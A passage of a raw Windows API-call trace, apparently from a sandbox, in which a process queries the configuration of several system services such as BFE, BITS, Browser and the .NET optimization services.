[0027.227] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a478 [0027.227] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a500 [0027.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0027.227] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5099a8 [0027.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x5099a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0027.227] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5099f0 [0027.227] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5099a8) returned 1 [0027.227] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5099f0) returned 1 [0027.227] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a500) returned 1 [0027.227] OpenServiceW (hSCManager=0x6637d8, lpServiceName="BFE", dwDesiredAccess=0x1) returned 0x6639b8 [0027.227] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0027.227] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.227] GetLastError () returned 0x7a [0027.227] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x164, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.228] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a500 [0027.228] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a588 [0027.228] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a500) returned 1 [0027.228] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a588) returned 1 [0027.228] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a588 [0027.228] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a500 [0027.228] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a588) returned 1 [0027.228] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a500) returned 1 [0027.228] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a500 [0027.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.228] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5099f0 [0027.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5099f0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.228] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5099a8 [0027.228] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5099f0) returned 1 [0027.228] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5099a8) returned 1 [0027.228] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a500) returned 1 [0027.228] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5099a8 [0027.228] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a500 [0027.228] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a588 [0027.228] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a610 [0027.228] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a698 [0027.228] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a720 [0027.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0027.228] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5099f0 [0027.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x5099f0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0027.228] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509a38 [0027.228] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5099f0) returned 1 [0027.228] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509a38) returned 1 [0027.228] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a720) returned 1 [0027.229] OpenServiceW (hSCManager=0x6637d8, lpServiceName="BITS", dwDesiredAccess=0x1) returned 0x6638a0 [0027.229] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0027.229] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.229] GetLastError () returned 0x7a [0027.229] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x14a, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.229] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a720 [0027.229] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a7a8 [0027.229] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a720) returned 1 [0027.229] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a7a8) returned 1 [0027.229] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a7a8 [0027.229] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a720 [0027.229] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a7a8) returned 1 [0027.229] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a720) returned 1 [0027.229] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a720 [0027.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.230] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509a38 [0027.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x509a38, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.230] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5099f0 [0027.230] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509a38) returned 1 [0027.230] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5099f0) returned 1 [0027.230] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a720) returned 1 [0027.230] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5099f0 [0027.230] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a720 [0027.230] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a7a8 [0027.230] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a830 [0027.230] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a8b8 [0027.230] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a940 [0027.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0027.230] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509a38 [0027.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x509a38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0027.230] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509a80 [0027.230] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509a38) returned 1 [0027.230] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509a80) returned 1 [0027.230] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a940) returned 1 [0027.230] OpenServiceW (hSCManager=0x6637d8, lpServiceName="Browser", dwDesiredAccess=0x1) returned 0x663968 [0027.230] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0027.230] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.231] GetLastError () returned 0x7a [0027.231] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x154, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.231] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a940 [0027.231] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a9c8 [0027.231] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a940) returned 1 [0027.231] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a9c8) returned 1 [0027.231] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a9c8 [0027.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x509a80, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0027.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x509a80, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0027.231] OpenServiceW (hSCManager=0x6637d8, lpServiceName="bthserv", dwDesiredAccess=0x1) returned 0x6638c8 [0027.231] CloseServiceHandle (hSCObject=0x663968) returned 1 [0027.232] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.232] GetLastError () returned 0x7a [0027.232] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x132, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x509ac8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x509ac8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0027.232] OpenServiceW (hSCManager=0x6637d8, lpServiceName="CertPropSvc", dwDesiredAccess=0x1) returned 0x6639b8 [0027.232] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0027.232] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.233] GetLastError () returned 0x7a [0027.233] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x112, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x509b10, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0027.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x509b10, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_32", lpUsedDefaultChar=0x0) returned 30 [0027.233] OpenServiceW (hSCManager=0x6637d8, lpServiceName="clr_optimization_v2.0.50727_32", dwDesiredAccess=0x1) returned 0x6638a0 [0027.233] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0027.233] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.234] GetLastError () returned 0x7a [0027.234] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x152, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.234] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54afa0 [0027.234] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b028 [0027.234] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54afa0) returned 1 [0027.234] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b028) returned 1 [0027.234] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b028 [0027.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.234] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509b58 [0027.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x509b58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mscorsvw.exe", lpUsedDefaultChar=0x0) returned 12 [0027.234] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509b10 [0027.234] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509b58) returned 1 [0027.234] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509b10) returned 1 [0027.234] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b028) returned 1 [0027.234] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b028 [0027.234] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509648) returned 1 [0027.234] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509648 [0027.234] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54afa0 [0027.234] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b0b0 [0027.235] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b138 [0027.235] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b1c0 [0027.235] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b248 [0027.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0027.235] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509b10 [0027.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x509b10, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_64", lpUsedDefaultChar=0x0) returned 30 [0027.235] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509b58 [0027.235] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509b10) returned 1 [0027.235] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509b58) returned 1 [0027.235] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b248) returned 1 [0027.235] OpenServiceW (hSCManager=0x6637d8, lpServiceName="clr_optimization_v2.0.50727_64", dwDesiredAccess=0x1) returned 0x663968 [0027.235] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0027.235] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.235] GetLastError () returned 0x7a [0027.235] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x156, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.236] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b248 [0027.236] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b2d0 [0027.236] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b248) returned 1 [0027.236] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b2d0) returned 1 [0027.236] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b2d0 [0027.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.236] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509b58 [0027.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x509b58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mscorsvw.exe", lpUsedDefaultChar=0x0) returned 12 [0027.236] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509b10 [0027.236] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509b58) returned 1 [0027.236] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509b10) returned 1 [0027.236] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b2d0) returned 1 [0027.236] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509b10 [0027.236] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b2d0 [0027.236] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b248 [0027.236] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b358 [0027.236] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b3e0 [0027.236] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b468 [0027.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0027.236] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509b58 [0027.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x509b58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_32", lpUsedDefaultChar=0x0) returned 30 [0027.236] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509ba0 [0027.236] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509b58) returned 1 [0027.236] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509ba0) returned 1 [0027.236] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b468) returned 1 [0027.236] OpenServiceW (hSCManager=0x6637d8, lpServiceName="clr_optimization_v4.0.30319_32", dwDesiredAccess=0x1) returned 0x6638c8 [0027.236] CloseServiceHandle (hSCObject=0x663968) returned 1 [0027.237] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.237] GetLastError () returned 0x7a [0027.237] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x152, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.237] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b468 [0027.237] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b4f0 [0027.237] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b468) returned 1 [0027.237] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b4f0) returned 1 [0027.237] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b4f0 [0027.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.237] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509ba0 [0027.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x509ba0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mscorsvw.exe", lpUsedDefaultChar=0x0) returned 12 [0027.237] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509b58 [0027.237] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509ba0) returned 1 [0027.237] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509b58) returned 1 [0027.237] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b4f0) returned 1 [0027.237] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509b58 [0027.237] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b4f0 [0027.237] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b468 [0027.237] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b578 [0027.237] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b600 [0027.237] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b688 [0027.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0027.238] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509ba0 [0027.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x509ba0, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_64", 